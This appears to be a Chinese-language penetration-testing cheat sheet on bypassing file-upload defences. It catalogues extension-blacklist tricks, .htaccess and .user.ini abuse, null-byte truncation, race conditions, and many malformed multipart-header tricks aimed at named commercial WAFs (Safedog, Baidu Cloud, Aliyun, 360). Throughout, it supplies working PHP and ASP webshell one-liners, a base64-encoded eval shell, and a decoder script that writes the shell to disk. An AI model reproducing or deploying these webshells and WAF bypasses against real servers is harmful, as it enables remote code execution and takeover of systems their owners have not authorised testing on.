0%

文件上传绕过常规姿势

文件上传绕过常规姿势

前端JS限制文件后缀

限制只能上传规定后缀文件,绕过方式:

1.禁用检测文件后缀的JS代码

2.上传正常格式文件,抓包修改文件的filename为脚本格式

Content-type限制

后台校验上传文件的Content-type是否为指定值,绕过方式:

1.上传时抓包修改Content-type

2.上传正常格式文件,抓包修改文件的filename为脚本格式

文件后缀黑名单检测限制

1.大小写绕过,例如黑名单中为.php,那么可以上传.PHP或者.Php来绕过黑名单

2.“. ”“_”号和空格绕过,(只适用于Windows系统)Windows系统下,文件名后缀最后一个“.”“_”和空格会被自动去除,例如黑名单为.php,那么可以上传.php.,.php_或者.php 来绕过黑名单,Windows在解析时会删除最后一个.和_还有空格

3.::$DATA绕过,(只适用于Windows系统)在Windows的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名

4.双写绕过,有些函数会替换敏感文件名,但不递归删除的话就可以双写绕过,例如a.phphpp,php被替换为空后就成了a.php

5.00截断绕过,上传时上传a.php.jpg,抓包在php后添加一个字符修改其HEX值为00,这样解析之后就是a.php了,也绕过了黑名单;
常见于ASP程序,JSP也会出现
PHP限制条件:
php<5.3.4
php.ini中的magic_quotes_gpc设置为OFF

6.上传可解析的扩展文件名,例如:

asp/aspx:
asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr

php :
php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml

jsp :
jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

可利用burp fuzz测试

7..htaccess和.user.ini绕过黑名单

.htaccess使用条件:
.htaccess只适用apache
①、Allow Override All
②、LoadModule rewrite_module modules/mod_rewrite.so #rewrite模块为开启状态

.htaccess内容:

1
2
AddType application/x-httpd-php .jpg
将所有后缀为.jpg的文件作为php文件解析
1
2
3
4
<FilesMatch "BaiZe">
setHandler application/x-httpd-phpBZ
</FilesMatch>
将所有文件名包含BaiZe的文件作为php文件解析


.user.ini使用条件:

①.user.ini适用于服务器使用CGI/FastCGI模式且目录下要有可执行的php文件

.user.ini内容:

1
2
auto_prepend_file=a.jpg
a.jpg中符合php语言的代码会被执行

文件头限制

文件头检测,上传图片马,在修改后缀为可解析脚本语言;或者上传一句话木马在文件中添加正常格式文件头例如:GIF89a

危险函数检测

一般为waf对上传文件的内容进行检测

1.使用动态调用绕过,例如:

1
2
<?php $_GET['0']($_GET['1']);?>
此方法不能绕过disable_function

2.上传编码后的webshell配合.htaccess来解析

3.上传编码后的webshell,再另外上传一个脚本文件解码webshell并写入新文件,例如下面这段代码为1.php

1
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

上传后再上传下面为2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 

$path ="/xx/xxx/xx/1.php";

$str= file_get_contents($path);

$strs = base64_decode($str);

$test = fopen("./test.php","w");test
test
fwrite($test,$strs);
fclose($test);
?>

然后访问后再访问test.php即可getshell

WAF拦截绕过

常用的黑名单绕过方法也适用于部分waf,更多的是需要配合使用才能成功上传,主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析,怎样能绕过waf的检测都可以。

例如00截断,文件名+;号,文件名+’号,上传hatccess和user.ini,上面概述过的这里不再重复,使用时应配合使用

1.换行绕过检测,例如

1
2
3
4
5
6
7
Content-Disposition: form-data; name="file"; filename="1.p
hp"
Content-Disposition: form-data; name="file"; file
name="1.php"
Content-Disposition: form-data; name="file"; filename=
"1.php"
三种均可

2.多个等号绕过检测,例如

1
Content-Disposition: form-data; name="file"; filename==="a.php"

3.增大文件大小,类似于sql注入的垃圾字符绕waf,例如

1
Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"

4.去掉或替换引号绕过waf

1
2
Content-Disposition: form-data; name=file1; filename=a.php
Content-Disposition: form-data; name='file1'; filename="a.php"

4.增加filename干扰拦截,例如

1
Content-Disposition: form-data; name="file"; filename= ;  filename="a.php"

5.混淆waf匹配字段,例如

混淆form-data

1
2
Content-Disposition: name="file"; filename="a.php"
去除form-data
1
2
Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file";  filename="a.php"
替换form-data为垃圾值
1
2
Content-Disposition: form-data   ; name="file"; filename="a.php"
form-data后加空格
1
2
Content-Disposition: for+m-data; name="file"; filename="a.php"
form-data中加+

混淆ConTent-Disposition

1
2
COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
大小写混淆
1
2
3
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
调换Content-Type和ConTent-Disposition的顺序
1
2
3
4
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
1
2
3
4
AAAAAAAA:filename="aaa.jpg";
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
1
2
3
4
Content-Length: 666
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头

6.双文件绕过,例如安全狗总以最后一个Content-Disposition中的值做为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值做为接收参数。

7.容器与WAF对Boundary要求规则不一致

1
2
3
4
5
6
7
Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99
Content-Length: 253
-----------------------------471****1141173****525****99
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------471****1141173****525****99--

一些WAF会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。

8.条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件

1
fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');

上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php

安全狗绕过

1.绕过思路:对文件的内容,数据。数据包进行处理。
关键点在这里Content-Disposition: form-data; name=”file”; filename=”ian.php”
将form-data; 修改为~form-data;

2.通过替换大小写来进行绕过
Content-Disposition: form-data; name=”file”; filename=”yjh.php”
Content-Type: application/octet-stream
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type

3.通过删减空格来进行绕过
Content-Disposition: form-data; name=”file”; filename=”yjh.php”
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name=”file”; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格

4.通过字符串拼接绕过
看Content-Disposition: form-data; name=”file”; filename=”yjh3.php”
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata

5.双文件上传绕过

1
2
3
4
5
6
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>

6.HTTP header 属性值绕过
Content-Disposition: form-data; name=”file”; filename=”yjh.php”
我们通过替换form-data 为*来绕过
Content-Disposition: *; name=”file”; filename=”yjh.php”

7.HTTP header 属性名称绕过
源代码:
Content-Disposition: form-data; name=”image”; filename=”085733uykwusqcs8vw8wky.png”Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name=”image”; filename=”085733uykwusqcs8vw8wky.png
C.php”
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php”.

8.等效替换绕过
原内容:
Content-Type: multipart/form-data; boundary=—————————471463142114
修改后:
Content-Type: multipart/form-data; boundary =—————————471463142114
boundary后面加入空格。

9.修改编码绕过
使用UTF-16、Unicode、双URL编码等等

百度云上传绕过

百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name=”up_picture”; filename=”xss.jpg .Php”

阿里云上传绕过

源代码:
Content-Disposition: form-data; name=”img_crop_file”; filename=”1.jpg .Php”Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name=”img_crop_file”; filename=”1.php”
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

360主机上传绕过

源代码:
Content-Disposition: form-data; name=”image”; filename=”085733uykwusqcs8vw8wky.png”Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name=”image”; filename=”085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition